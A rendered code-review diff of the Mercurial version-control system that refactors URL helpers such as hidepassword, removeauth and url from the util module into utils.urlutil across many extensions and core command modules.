Show More
@@ -19,9 +19,11 b' from mercurial import (' | |||||
19 | lock, |
|
19 | lock, | |
20 | pycompat, |
|
20 | pycompat, | |
21 | registrar, |
|
21 | registrar, | |
22 | util, |
|
|||
23 | ) |
|
22 | ) | |
24 |
from mercurial.utils import |
|
23 | from mercurial.utils import ( | |
|
24 | dateutil, | |||
|
25 | urlutil, | |||
|
26 | ) | |||
25 |
|
27 | |||
26 | release = lock.release |
|
28 | release = lock.release | |
27 | cmdtable = {} |
|
29 | cmdtable = {} | |
@@ -109,7 +111,8 b" def fetch(ui, repo, source=b'default', *" | |||||
109 |
|
111 | |||
110 | other = hg.peer(repo, opts, ui.expandpath(source)) |
|
112 | other = hg.peer(repo, opts, ui.expandpath(source)) | |
111 | ui.status( |
|
113 | ui.status( | |
112 |
_(b'pulling from %s\n') |
|
114 | _(b'pulling from %s\n') | |
|
115 | % urlutil.hidepassword(ui.expandpath(source)) | |||
113 | ) |
|
116 | ) | |
114 | revs = None |
|
117 | revs = None | |
115 | if opts[b'rev']: |
|
118 | if opts[b'rev']: | |
@@ -180,7 +183,7 b" def fetch(ui, repo, source=b'default', *" | |||||
180 | if not err: |
|
183 | if not err: | |
181 | # we don't translate commit messages |
|
184 | # we don't translate commit messages | |
182 | message = cmdutil.logmessage(ui, opts) or ( |
|
185 | message = cmdutil.logmessage(ui, opts) or ( | |
183 | b'Automated merge with %s' % util.removeauth(other.url()) |
|
186 | b'Automated merge with %s' % urlutil.removeauth(other.url()) | |
184 | ) |
|
187 | ) | |
185 | editopt = opts.get(b'edit') or opts.get(b'force_editor') |
|
188 | editopt = opts.get(b'edit') or opts.get(b'force_editor') | |
186 | editor = cmdutil.getcommiteditor(edit=editopt, editform=b'fetch') |
|
189 | editor = cmdutil.getcommiteditor(edit=editopt, editform=b'fetch') |
@@ -242,6 +242,7 b' from mercurial import (' | |||||
242 | from mercurial.utils import ( |
|
242 | from mercurial.utils import ( | |
243 | dateutil, |
|
243 | dateutil, | |
244 | stringutil, |
|
244 | stringutil, | |
|
245 | urlutil, | |||
245 | ) |
|
246 | ) | |
246 |
|
247 | |||
247 | pickle = util.pickle |
|
248 | pickle = util.pickle | |
@@ -1042,7 +1043,7 b' def findoutgoing(ui, repo, remote=None, ' | |||||
1042 | opts = {} |
|
1043 | opts = {} | |
1043 | dest = ui.expandpath(remote or b'default-push', remote or b'default') |
|
1044 | dest = ui.expandpath(remote or b'default-push', remote or b'default') | |
1044 | dest, branches = hg.parseurl(dest, None)[:2] |
|
1045 | dest, branches = hg.parseurl(dest, None)[:2] | |
1045 | ui.status(_(b'comparing with %s\n') % util.hidepassword(dest)) |
|
1046 | ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(dest)) | |
1046 |
|
1047 | |||
1047 | revs, checkout = hg.addbranchrevs(repo, repo, branches, None) |
|
1048 | revs, checkout = hg.addbranchrevs(repo, repo, branches, None) | |
1048 | other = hg.peer(repo, opts, dest) |
|
1049 | other = hg.peer(repo, opts, dest) |
@@ -12,6 +12,9 b' from __future__ import absolute_import' | |||||
12 | from mercurial.i18n import _ |
|
12 | from mercurial.i18n import _ | |
13 |
|
13 | |||
14 | from mercurial import node, util |
|
14 | from mercurial import node, util | |
|
15 | from mercurial.utils import ( | |||
|
16 | urlutil, | |||
|
17 | ) | |||
15 |
|
18 | |||
16 | from . import lfutil |
|
19 | from . import lfutil | |
17 |
|
20 | |||
@@ -29,13 +32,13 b' class StoreError(Exception):' | |||||
29 | def longmessage(self): |
|
32 | def longmessage(self): | |
30 | return _(b"error getting id %s from url %s for file %s: %s\n") % ( |
|
33 | return _(b"error getting id %s from url %s for file %s: %s\n") % ( | |
31 | self.hash, |
|
34 | self.hash, | |
32 | util.hidepassword(self.url), |
|
35 | urlutil.hidepassword(self.url), | |
33 | self.filename, |
|
36 | self.filename, | |
34 | self.detail, |
|
37 | self.detail, | |
35 | ) |
|
38 | ) | |
36 |
|
39 | |||
37 | def __str__(self): |
|
40 | def __str__(self): | |
38 | return b"%s: %s" % (util.hidepassword(self.url), self.detail) |
|
41 | return b"%s: %s" % (urlutil.hidepassword(self.url), self.detail) | |
39 |
|
42 | |||
40 |
|
43 | |||
41 | class basestore(object): |
|
44 | class basestore(object): | |
@@ -79,7 +82,7 b' class basestore(object):' | |||||
79 | if not available.get(hash): |
|
82 | if not available.get(hash): | |
80 | ui.warn( |
|
83 | ui.warn( | |
81 | _(b'%s: largefile %s not available from %s\n') |
|
84 | _(b'%s: largefile %s not available from %s\n') | |
82 | % (filename, hash, util.hidepassword(self.url)) |
|
85 | % (filename, hash, urlutil.hidepassword(self.url)) | |
83 | ) |
|
86 | ) | |
84 | missing.append(filename) |
|
87 | missing.append(filename) | |
85 | continue |
|
88 | continue |
@@ -15,7 +15,10 b' from mercurial import (' | |||||
15 | util, |
|
15 | util, | |
16 | ) |
|
16 | ) | |
17 |
|
17 | |||
18 |
from mercurial.utils import |
|
18 | from mercurial.utils import ( | |
|
19 | stringutil, | |||
|
20 | urlutil, | |||
|
21 | ) | |||
19 |
|
22 | |||
20 | from . import ( |
|
23 | from . import ( | |
21 | basestore, |
|
24 | basestore, | |
@@ -40,11 +43,11 b' class remotestore(basestore.basestore):' | |||||
40 | if self.sendfile(source, hash): |
|
43 | if self.sendfile(source, hash): | |
41 | raise error.Abort( |
|
44 | raise error.Abort( | |
42 | _(b'remotestore: could not put %s to remote store %s') |
|
45 | _(b'remotestore: could not put %s to remote store %s') | |
43 | % (source, util.hidepassword(self.url)) |
|
46 | % (source, urlutil.hidepassword(self.url)) | |
44 | ) |
|
47 | ) | |
45 | self.ui.debug( |
|
48 | self.ui.debug( | |
46 | _(b'remotestore: put %s to remote store %s\n') |
|
49 | _(b'remotestore: put %s to remote store %s\n') | |
47 | % (source, util.hidepassword(self.url)) |
|
50 | % (source, urlutil.hidepassword(self.url)) | |
48 | ) |
|
51 | ) | |
49 |
|
52 | |||
50 | def exists(self, hashes): |
|
53 | def exists(self, hashes): | |
@@ -80,7 +83,7 b' class remotestore(basestore.basestore):' | |||||
80 | # keep trying with the other files... they will probably |
|
83 | # keep trying with the other files... they will probably | |
81 | # all fail too. |
|
84 | # all fail too. | |
82 | raise error.Abort( |
|
85 | raise error.Abort( | |
83 | b'%s: %s' % (util.hidepassword(self.url), e.reason) |
|
86 | b'%s: %s' % (urlutil.hidepassword(self.url), e.reason) | |
84 | ) |
|
87 | ) | |
85 | except IOError as e: |
|
88 | except IOError as e: | |
86 | raise basestore.StoreError( |
|
89 | raise basestore.StoreError( |
@@ -12,6 +12,9 b' from mercurial import (' | |||||
12 | hg, |
|
12 | hg, | |
13 | util, |
|
13 | util, | |
14 | ) |
|
14 | ) | |
|
15 | from mercurial.utils import ( | |||
|
16 | urlutil, | |||
|
17 | ) | |||
15 |
|
18 | |||
16 | from . import ( |
|
19 | from . import ( | |
17 | lfutil, |
|
20 | lfutil, | |
@@ -71,7 +74,7 b' def openstore(repo=None, remote=None, pu' | |||||
71 |
|
74 | |||
72 | raise error.Abort( |
|
75 | raise error.Abort( | |
73 | _(b'%s does not appear to be a largefile store') |
|
76 | _(b'%s does not appear to be a largefile store') | |
74 | % util.hidepassword(path) |
|
77 | % urlutil.hidepassword(path) | |
75 | ) |
|
78 | ) | |
76 |
|
79 | |||
77 |
|
80 |
@@ -31,7 +31,10 b' from mercurial import (' | |||||
31 | worker, |
|
31 | worker, | |
32 | ) |
|
32 | ) | |
33 |
|
33 | |||
34 |
from mercurial.utils import |
|
34 | from mercurial.utils import ( | |
|
35 | stringutil, | |||
|
36 | urlutil, | |||
|
37 | ) | |||
35 |
|
38 | |||
36 | from ..largefiles import lfutil |
|
39 | from ..largefiles import lfutil | |
37 |
|
40 | |||
@@ -725,7 +728,7 b' def remote(repo, remote=None):' | |||||
725 | https://github.com/git-lfs/git-lfs/blob/master/docs/api/server-discovery.md |
|
728 | https://github.com/git-lfs/git-lfs/blob/master/docs/api/server-discovery.md | |
726 | """ |
|
729 | """ | |
727 | lfsurl = repo.ui.config(b'lfs', b'url') |
|
730 | lfsurl = repo.ui.config(b'lfs', b'url') | |
728 | url = util.url(lfsurl or b'') |
|
731 | url = urlutil.url(lfsurl or b'') | |
729 | if lfsurl is None: |
|
732 | if lfsurl is None: | |
730 | if remote: |
|
733 | if remote: | |
731 | path = remote |
|
734 | path = remote | |
@@ -739,7 +742,7 b' def remote(repo, remote=None):' | |||||
739 | # and fall back to inferring from 'paths.remote' if unspecified. |
|
742 | # and fall back to inferring from 'paths.remote' if unspecified. | |
740 | path = repo.ui.config(b'paths', b'default') or b'' |
|
743 | path = repo.ui.config(b'paths', b'default') or b'' | |
741 |
|
744 | |||
742 | defaulturl = util.url(path) |
|
745 | defaulturl = urlutil.url(path) | |
743 |
|
746 | |||
744 | # TODO: support local paths as well. |
|
747 | # TODO: support local paths as well. | |
745 | # TODO: consider the ssh -> https transformation that git applies |
|
748 | # TODO: consider the ssh -> https transformation that git applies | |
@@ -748,7 +751,7 b' def remote(repo, remote=None):' | |||||
748 | defaulturl.path += b'/' |
|
751 | defaulturl.path += b'/' | |
749 | defaulturl.path = (defaulturl.path or b'') + b'.git/info/lfs' |
|
752 | defaulturl.path = (defaulturl.path or b'') + b'.git/info/lfs' | |
750 |
|
753 | |||
751 | url = util.url(bytes(defaulturl)) |
|
754 | url = urlutil.url(bytes(defaulturl)) | |
752 | repo.ui.note(_(b'lfs: assuming remote store: %s\n') % url) |
|
755 | repo.ui.note(_(b'lfs: assuming remote store: %s\n') % url) | |
753 |
|
756 | |||
754 | scheme = url.scheme |
|
757 | scheme = url.scheme |
@@ -108,6 +108,7 b' from mercurial import (' | |||||
108 | from mercurial.utils import ( |
|
108 | from mercurial.utils import ( | |
109 | dateutil, |
|
109 | dateutil, | |
110 | stringutil, |
|
110 | stringutil, | |
|
111 | urlutil, | |||
111 | ) |
|
112 | ) | |
112 |
|
113 | |||
113 | release = lockmod.release |
|
114 | release = lockmod.release | |
@@ -2509,7 +2510,7 b' class queue(object):' | |||||
2509 | ) |
|
2510 | ) | |
2510 | filename = normname(filename) |
|
2511 | filename = normname(filename) | |
2511 | self.checkreservedname(filename) |
|
2512 | self.checkreservedname(filename) | |
2512 | if util.url(filename).islocal(): |
|
2513 | if urlutil.url(filename).islocal(): | |
2513 | originpath = self.join(filename) |
|
2514 | originpath = self.join(filename) | |
2514 | if not os.path.isfile(originpath): |
|
2515 | if not os.path.isfile(originpath): | |
2515 | raise error.Abort( |
|
2516 | raise error.Abort( |
@@ -36,6 +36,9 b' from mercurial import (' | |||||
36 | util, |
|
36 | util, | |
37 | wireprototypes, |
|
37 | wireprototypes, | |
38 | ) |
|
38 | ) | |
|
39 | from mercurial.utils import ( | |||
|
40 | urlutil, | |||
|
41 | ) | |||
39 |
|
42 | |||
40 | table = {} |
|
43 | table = {} | |
41 | command = registrar.command(table) |
|
44 | command = registrar.command(table) | |
@@ -592,7 +595,7 b' def trackedcmd(ui, repo, remotepath=None' | |||||
592 | # also define the set of revisions to update for widening. |
|
595 | # also define the set of revisions to update for widening. | |
593 | remotepath = ui.expandpath(remotepath or b'default') |
|
596 | remotepath = ui.expandpath(remotepath or b'default') | |
594 | url, branches = hg.parseurl(remotepath) |
|
597 | url, branches = hg.parseurl(remotepath) | |
595 | ui.status(_(b'comparing with %s\n') % util.hidepassword(url)) |
|
598 | ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(url)) | |
596 | remote = hg.peer(repo, opts, url) |
|
599 | remote = hg.peer(repo, opts, url) | |
597 |
|
600 | |||
598 | try: |
|
601 | try: |
@@ -99,7 +99,10 b' from mercurial import (' | |||||
99 | templater, |
|
99 | templater, | |
100 | util, |
|
100 | util, | |
101 | ) |
|
101 | ) | |
102 |
from mercurial.utils import |
|
102 | from mercurial.utils import ( | |
|
103 | dateutil, | |||
|
104 | urlutil, | |||
|
105 | ) | |||
103 |
|
106 | |||
104 | stringio = util.stringio |
|
107 | stringio = util.stringio | |
105 |
|
108 | |||
@@ -529,7 +532,7 b' def _getoutgoing(repo, dest, revs):' | |||||
529 | ui = repo.ui |
|
532 | ui = repo.ui | |
530 | url = ui.expandpath(dest or b'default-push', dest or b'default') |
|
533 | url = ui.expandpath(dest or b'default-push', dest or b'default') | |
531 | url = hg.parseurl(url)[0] |
|
534 | url = hg.parseurl(url)[0] | |
532 | ui.status(_(b'comparing with %s\n') % util.hidepassword(url)) |
|
535 | ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(url)) | |
533 |
|
536 | |||
534 | revs = [r for r in revs if r >= 0] |
|
537 | revs = [r for r in revs if r >= 0] | |
535 | if not revs: |
|
538 | if not revs: |
@@ -103,6 +103,7 b' from mercurial import (' | |||||
103 | from mercurial.utils import ( |
|
103 | from mercurial.utils import ( | |
104 | procutil, |
|
104 | procutil, | |
105 | stringutil, |
|
105 | stringutil, | |
|
106 | urlutil, | |||
106 | ) |
|
107 | ) | |
107 | from . import show |
|
108 | from . import show | |
108 |
|
109 | |||
@@ -366,7 +367,7 b' def urlencodenested(params):' | |||||
366 | process(k, v) |
|
367 | process(k, v) | |
367 |
|
368 | |||
368 | process(b'', params) |
|
369 | process(b'', params) | |
369 | return util.urlreq.urlencode(flatparams) |
|
370 | return urlutil.urlreq.urlencode(flatparams) | |
370 |
|
371 | |||
371 |
|
372 | |||
372 | def readurltoken(ui): |
|
373 | def readurltoken(ui): | |
@@ -381,7 +382,7 b' def readurltoken(ui):' | |||||
381 | _(b'config %s.%s is required') % (b'phabricator', b'url') |
|
382 | _(b'config %s.%s is required') % (b'phabricator', b'url') | |
382 | ) |
|
383 | ) | |
383 |
|
384 | |||
384 | res = httpconnectionmod.readauthforuri(ui, url, util.url(url).user) |
|
385 | res = httpconnectionmod.readauthforuri(ui, url, urlutil.url(url).user) | |
385 | token = None |
|
386 | token = None | |
386 |
|
387 | |||
387 | if res: |
|
388 | if res: |
@@ -52,7 +52,9 b' from mercurial import (' | |||||
52 | pycompat, |
|
52 | pycompat, | |
53 | registrar, |
|
53 | registrar, | |
54 | templater, |
|
54 | templater, | |
55 | util, |
|
55 | ) | |
|
56 | from mercurial.utils import ( | |||
|
57 | urlutil, | |||
56 | ) |
|
58 | ) | |
57 |
|
59 | |||
58 | cmdtable = {} |
|
60 | cmdtable = {} | |
@@ -86,7 +88,7 b' class ShortRepository(object):' | |||||
86 | ) |
|
88 | ) | |
87 |
|
89 | |||
88 | def resolve(self, url): |
|
90 | def resolve(self, url): | |
89 | # Should this use the util.url class, or is manual parsing better? |
|
91 | # Should this use the urlutil.url class, or is manual parsing better? | |
90 | try: |
|
92 | try: | |
91 | url = url.split(b'://', 1)[1] |
|
93 | url = url.split(b'://', 1)[1] | |
92 | except IndexError: |
|
94 | except IndexError: | |
@@ -137,7 +139,7 b' def extsetup(ui):' | |||||
137 | ) |
|
139 | ) | |
138 | hg.schemes[scheme] = ShortRepository(url, scheme, t) |
|
140 | hg.schemes[scheme] = ShortRepository(url, scheme, t) | |
139 |
|
141 | |||
140 | extensions.wrapfunction(util, b'hasdriveletter', hasdriveletter) |
|
142 | extensions.wrapfunction(urlutil, b'hasdriveletter', hasdriveletter) | |
141 |
|
143 | |||
142 |
|
144 | |||
143 | @command(b'debugexpandscheme', norepo=True) |
|
145 | @command(b'debugexpandscheme', norepo=True) |
@@ -27,6 +27,9 b' from . import (' | |||||
27 | txnutil, |
|
27 | txnutil, | |
28 | util, |
|
28 | util, | |
29 | ) |
|
29 | ) | |
|
30 | from .utils import ( | |||
|
31 | urlutil, | |||
|
32 | ) | |||
30 |
|
33 | |||
31 | # label constants |
|
34 | # label constants | |
32 | # until 3.5, bookmarks.current was the advertised name, not |
|
35 | # until 3.5, bookmarks.current was the advertised name, not | |
@@ -597,10 +600,10 b' def _diverge(ui, b, path, localmarks, re' | |||||
597 | # try to use an @pathalias suffix |
|
600 | # try to use an @pathalias suffix | |
598 | # if an @pathalias already exists, we overwrite (update) it |
|
601 | # if an @pathalias already exists, we overwrite (update) it | |
599 | if path.startswith(b"file:"): |
|
602 | if path.startswith(b"file:"): | |
600 | path = util.url(path).path |
|
603 | path = urlutil.url(path).path | |
601 | for p, u in ui.configitems(b"paths"): |
|
604 | for p, u in ui.configitems(b"paths"): | |
602 | if u.startswith(b"file:"): |
|
605 | if u.startswith(b"file:"): | |
603 | u = util.url(u).path |
|
606 | u = urlutil.url(u).path | |
604 | if path == u: |
|
607 | if path == u: | |
605 | return b'%s@%s' % (b, p) |
|
608 | return b'%s@%s' % (b, p) | |
606 |
|
609 |
@@ -177,7 +177,10 b' from . import (' | |||||
177 | url, |
|
177 | url, | |
178 | util, |
|
178 | util, | |
179 | ) |
|
179 | ) | |
180 |
from .utils import |
|
180 | from .utils import ( | |
|
181 | stringutil, | |||
|
182 | urlutil, | |||
|
183 | ) | |||
181 |
|
184 | |||
182 | urlerr = util.urlerr |
|
185 | urlerr = util.urlerr | |
183 | urlreq = util.urlreq |
|
186 | urlreq = util.urlreq | |
@@ -2073,7 +2076,7 b' def handleremotechangegroup(op, inpart):' | |||||
2073 | raw_url = inpart.params[b'url'] |
|
2076 | raw_url = inpart.params[b'url'] | |
2074 | except KeyError: |
|
2077 | except KeyError: | |
2075 | raise error.Abort(_(b'remote-changegroup: missing "%s" param') % b'url') |
|
2078 | raise error.Abort(_(b'remote-changegroup: missing "%s" param') % b'url') | |
2076 | parsed_url = util.url(raw_url) |
|
2079 | parsed_url = urlutil.url(raw_url) | |
2077 | if parsed_url.scheme not in capabilities[b'remote-changegroup']: |
|
2080 | if parsed_url.scheme not in capabilities[b'remote-changegroup']: | |
2078 | raise error.Abort( |
|
2081 | raise error.Abort( | |
2079 | _(b'remote-changegroup does not support %s urls') |
|
2082 | _(b'remote-changegroup does not support %s urls') | |
@@ -2110,7 +2113,7 b' def handleremotechangegroup(op, inpart):' | |||||
2110 | cg = exchange.readbundle(op.repo.ui, real_part, raw_url) |
|
2113 | cg = exchange.readbundle(op.repo.ui, real_part, raw_url) | |
2111 | if not isinstance(cg, changegroup.cg1unpacker): |
|
2114 | if not isinstance(cg, changegroup.cg1unpacker): | |
2112 | raise error.Abort( |
|
2115 | raise error.Abort( | |
2113 | _(b'%s: not a bundle version 1.0') % util.hidepassword(raw_url) |
|
2116 | _(b'%s: not a bundle version 1.0') % urlutil.hidepassword(raw_url) | |
2114 | ) |
|
2117 | ) | |
2115 | ret = _processchangegroup(op, cg, tr, op.source, b'bundle2') |
|
2118 | ret = _processchangegroup(op, cg, tr, op.source, b'bundle2') | |
2116 | if op.reply is not None: |
|
2119 | if op.reply is not None: | |
@@ -2126,7 +2129,7 b' def handleremotechangegroup(op, inpart):' | |||||
2126 | except error.Abort as e: |
|
2129 | except error.Abort as e: | |
2127 | raise error.Abort( |
|
2130 | raise error.Abort( | |
2128 | _(b'bundle at %s is corrupted:\n%s') |
|
2131 | _(b'bundle at %s is corrupted:\n%s') | |
2129 | % (util.hidepassword(raw_url), e.message) |
|
2132 | % (urlutil.hidepassword(raw_url), e.message) | |
2130 | ) |
|
2133 | ) | |
2131 | assert not inpart.read() |
|
2134 | assert not inpart.read() | |
2132 |
|
2135 |
@@ -43,6 +43,9 b' from . import (' | |||||
43 | util, |
|
43 | util, | |
44 | vfs as vfsmod, |
|
44 | vfs as vfsmod, | |
45 | ) |
|
45 | ) | |
|
46 | from .utils import ( | |||
|
47 | urlutil, | |||
|
48 | ) | |||
46 |
|
49 | |||
47 |
|
50 | |||
48 | class bundlerevlog(revlog.revlog): |
|
51 | class bundlerevlog(revlog.revlog): | |
@@ -475,7 +478,7 b' def instance(ui, path, create, intents=N' | |||||
475 | cwd = pathutil.normasprefix(cwd) |
|
478 | cwd = pathutil.normasprefix(cwd) | |
476 | if parentpath.startswith(cwd): |
|
479 | if parentpath.startswith(cwd): | |
477 | parentpath = parentpath[len(cwd) :] |
|
480 | parentpath = parentpath[len(cwd) :] | |
478 | u = util.url(path) |
|
481 | u = urlutil.url(path) | |
479 | path = u.localpath() |
|
482 | path = u.localpath() | |
480 | if u.scheme == b'bundle': |
|
483 | if u.scheme == b'bundle': | |
481 | s = path.split(b"+", 1) |
|
484 | s = path.split(b"+", 1) |
@@ -74,6 +74,7 b' from . import (' | |||||
74 | from .utils import ( |
|
74 | from .utils import ( | |
75 | dateutil, |
|
75 | dateutil, | |
76 | stringutil, |
|
76 | stringutil, | |
|
77 | urlutil, | |||
77 | ) |
|
78 | ) | |
78 |
|
79 | |||
79 | if pycompat.TYPE_CHECKING: |
|
80 | if pycompat.TYPE_CHECKING: | |
@@ -4319,7 +4320,7 b' def incoming(ui, repo, source=b"default"' | |||||
4319 | ui.warn(_(b"remote doesn't support bookmarks\n")) |
|
4320 | ui.warn(_(b"remote doesn't support bookmarks\n")) | |
4320 | return 0 |
|
4321 | return 0 | |
4321 | ui.pager(b'incoming') |
|
4322 | ui.pager(b'incoming') | |
4322 | ui.status(_(b'comparing with %s\n') % util.hidepassword(source)) |
|
4323 | ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(source)) | |
4323 | return bookmarks.incoming(ui, repo, other) |
|
4324 | return bookmarks.incoming(ui, repo, other) | |
4324 | finally: |
|
4325 | finally: | |
4325 | other.close() |
|
4326 | other.close() | |
@@ -4994,7 +4995,7 b' def outgoing(ui, repo, dest=None, **opts' | |||||
4994 | if b'bookmarks' not in other.listkeys(b'namespaces'): |
|
4995 | if b'bookmarks' not in other.listkeys(b'namespaces'): | |
4995 | ui.warn(_(b"remote doesn't support bookmarks\n")) |
|
4996 | ui.warn(_(b"remote doesn't support bookmarks\n")) | |
4996 | return 0 |
|
4997 | return 0 | |
4997 | ui.status(_(b'comparing with %s\n') % util.hidepassword(dest)) |
|
4998 | ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(dest)) | |
4998 | ui.pager(b'outgoing') |
|
4999 | ui.pager(b'outgoing') | |
4999 | return bookmarks.outgoing(ui, repo, other) |
|
5000 | return bookmarks.outgoing(ui, repo, other) | |
5000 | finally: |
|
5001 | finally: | |
@@ -5142,7 +5143,7 b' def paths(ui, repo, search=None, **opts)' | |||||
5142 |
|
5143 | |||
5143 | fm = ui.formatter(b'paths', opts) |
|
5144 | fm = ui.formatter(b'paths', opts) | |
5144 | if fm.isplain(): |
|
5145 | if fm.isplain(): | |
5145 | hidepassword = util.hidepassword |
|
5146 | hidepassword = urlutil.hidepassword | |
5146 | else: |
|
5147 | else: | |
5147 | hidepassword = bytes |
|
5148 | hidepassword = bytes | |
5148 | if ui.quiet: |
|
5149 | if ui.quiet: | |
@@ -5392,7 +5393,7 b' def pull(ui, repo, *sources, **opts):' | |||||
5392 | source, branches = hg.parseurl( |
|
5393 | source, branches = hg.parseurl( | |
5393 | ui.expandpath(source), opts.get(b'branch') |
|
5394 | ui.expandpath(source), opts.get(b'branch') | |
5394 | ) |
|
5395 | ) | |
5395 | ui.status(_(b'pulling from %s\n') % util.hidepassword(source)) |
|
5396 | ui.status(_(b'pulling from %s\n') % urlutil.hidepassword(source)) | |
5396 | ui.flush() |
|
5397 | ui.flush() | |
5397 | other = hg.peer(repo, opts, source) |
|
5398 | other = hg.peer(repo, opts, source) | |
5398 | update_conflict = None |
|
5399 | update_conflict = None | |
@@ -5732,7 +5733,7 b' def push(ui, repo, *dests, **opts):' | |||||
5732 | ) |
|
5733 | ) | |
5733 | dest = path.pushloc or path.loc |
|
5734 | dest = path.pushloc or path.loc | |
5734 | branches = (path.branch, opts.get(b'branch') or []) |
|
5735 | branches = (path.branch, opts.get(b'branch') or []) | |
5735 | ui.status(_(b'pushing to %s\n') % util.hidepassword(dest)) |
|
5736 | ui.status(_(b'pushing to %s\n') % urlutil.hidepassword(dest)) | |
5736 | revs, checkout = hg.addbranchrevs( |
|
5737 | revs, checkout = hg.addbranchrevs( | |
5737 | repo, repo, branches, opts.get(b'rev') |
|
5738 | repo, repo, branches, opts.get(b'rev') | |
5738 | ) |
|
5739 | ) | |
@@ -7235,7 +7236,7 b' def summary(ui, repo, **opts):' | |||||
7235 | revs, checkout = hg.addbranchrevs(repo, other, branches, None) |
|
7236 | revs, checkout = hg.addbranchrevs(repo, other, branches, None) | |
7236 | if revs: |
|
7237 | if revs: | |
7237 | revs = [other.lookup(rev) for rev in revs] |
|
7238 | revs = [other.lookup(rev) for rev in revs] | |
7238 | ui.debug(b'comparing with %s\n' % util.hidepassword(source)) |
|
7239 | ui.debug(b'comparing with %s\n' % urlutil.hidepassword(source)) | |
7239 | repo.ui.pushbuffer() |
|
7240 | repo.ui.pushbuffer() | |
7240 | commoninc = discovery.findcommonincoming(repo, other, heads=revs) |
|
7241 | commoninc = discovery.findcommonincoming(repo, other, heads=revs) | |
7241 | repo.ui.popbuffer() |
|
7242 | repo.ui.popbuffer() | |
@@ -7257,7 +7258,7 b' def summary(ui, repo, **opts):' | |||||
7257 | if opts.get(b'remote'): |
|
7258 | if opts.get(b'remote'): | |
7258 | raise |
|
7259 | raise | |
7259 | return dest, dbranch, None, None |
|
7260 | return dest, dbranch, None, None | |
7260 | ui.debug(b'comparing with %s\n' % util.hidepassword(dest)) |
|
7261 | ui.debug(b'comparing with %s\n' % urlutil.hidepassword(dest)) | |
7261 | elif sother is None: |
|
7262 | elif sother is None: | |
7262 | # there is no explicit destination peer, but source one is invalid |
|
7263 | # there is no explicit destination peer, but source one is invalid | |
7263 | return dest, dbranch, None, None |
|
7264 | return dest, dbranch, None, None | |
@@ -7599,7 +7600,7 b' def unbundle(ui, repo, fname1, *fnames, ' | |||||
7599 | try: |
|
7600 | try: | |
7600 | txnname = b'unbundle' |
|
7601 | txnname = b'unbundle' | |
7601 | if not isinstance(gen, bundle2.unbundle20): |
|
7602 | if not isinstance(gen, bundle2.unbundle20): | |
7602 | txnname = b'unbundle\n%s' % util.hidepassword(url) |
|
7603 | txnname = b'unbundle\n%s' % urlutil.hidepassword(url) | |
7603 | with repo.transaction(txnname) as tr: |
|
7604 | with repo.transaction(txnname) as tr: | |
7604 | op = bundle2.applybundle( |
|
7605 | op = bundle2.applybundle( | |
7605 | repo, gen, tr, source=b'unbundle', url=url |
|
7606 | repo, gen, tr, source=b'unbundle', url=url |
@@ -98,6 +98,7 b' from .utils import (' | |||||
98 | dateutil, |
|
98 | dateutil, | |
99 | procutil, |
|
99 | procutil, | |
100 | stringutil, |
|
100 | stringutil, | |
|
101 | urlutil, | |||
101 | ) |
|
102 | ) | |
102 |
|
103 | |||
103 | from .revlogutils import ( |
|
104 | from .revlogutils import ( | |
@@ -1061,7 +1062,7 b' def debugdiscovery(ui, repo, remoteurl=b' | |||||
1061 |
|
1062 | |||
1062 | remoteurl, branches = hg.parseurl(ui.expandpath(remoteurl)) |
|
1063 | remoteurl, branches = hg.parseurl(ui.expandpath(remoteurl)) | |
1063 | remote = hg.peer(repo, opts, remoteurl) |
|
1064 | remote = hg.peer(repo, opts, remoteurl) | |
1064 | ui.status(_(b'comparing with %s\n') % util.hidepassword(remoteurl)) |
|
1065 | ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(remoteurl)) | |
1065 | else: |
|
1066 | else: | |
1066 | branches = (None, []) |
|
1067 | branches = (None, []) | |
1067 | remote_filtered_revs = scmutil.revrange( |
|
1068 | remote_filtered_revs = scmutil.revrange( | |
@@ -3652,7 +3653,7 b' def debugssl(ui, repo, source=None, **op' | |||||
3652 | source = b"default" |
|
3653 | source = b"default" | |
3653 |
|
3654 | |||
3654 | source, branches = hg.parseurl(ui.expandpath(source)) |
|
3655 | source, branches = hg.parseurl(ui.expandpath(source)) | |
3655 | url = util.url(source) |
|
3656 | url = urlutil.url(source) | |
3656 |
|
3657 | |||
3657 | defaultport = {b'https': 443, b'ssh': 22} |
|
3658 | defaultport = {b'https': 443, b'ssh': 22} | |
3658 | if url.scheme in defaultport: |
|
3659 | if url.scheme in defaultport: | |
@@ -4525,7 +4526,7 b' def debugwireproto(ui, repo, path=None, ' | |||||
4525 | # We bypass hg.peer() so we can proxy the sockets. |
|
4526 | # We bypass hg.peer() so we can proxy the sockets. | |
4526 | # TODO consider not doing this because we skip |
|
4527 | # TODO consider not doing this because we skip | |
4527 | # ``hg.wirepeersetupfuncs`` and potentially other useful functionality. |
|
4528 | # ``hg.wirepeersetupfuncs`` and potentially other useful functionality. | |
4528 | u = util.url(path) |
|
4529 | u = urlutil.url(path) | |
4529 | if u.scheme != b'http': |
|
4530 | if u.scheme != b'http': | |
4530 | raise error.Abort(_(b'only http:// paths are currently supported')) |
|
4531 | raise error.Abort(_(b'only http:// paths are currently supported')) | |
4531 |
|
4532 |
@@ -42,6 +42,7 b' from . import (' | |||||
42 | from .utils import ( |
|
42 | from .utils import ( | |
43 | hashutil, |
|
43 | hashutil, | |
44 | stringutil, |
|
44 | stringutil, | |
|
45 | urlutil, | |||
45 | ) |
|
46 | ) | |
46 |
|
47 | |||
47 | urlerr = util.urlerr |
|
48 | urlerr = util.urlerr | |
@@ -1465,7 +1466,7 b' class transactionmanager(util.transactio' | |||||
1465 | def transaction(self): |
|
1466 | def transaction(self): | |
1466 | """Return an open transaction object, constructing if necessary""" |
|
1467 | """Return an open transaction object, constructing if necessary""" | |
1467 | if not self._tr: |
|
1468 | if not self._tr: | |
1468 | trname = b'%s\n%s' % (self.source, util.hidepassword(self.url)) |
|
1469 | trname = b'%s\n%s' % (self.source, urlutil.hidepassword(self.url)) | |
1469 | self._tr = self.repo.transaction(trname) |
|
1470 | self._tr = self.repo.transaction(trname) | |
1470 | self._tr.hookargs[b'source'] = self.source |
|
1471 | self._tr.hookargs[b'source'] = self.source | |
1471 | self._tr.hookargs[b'url'] = self.url |
|
1472 | self._tr.hookargs[b'url'] = self.url | |
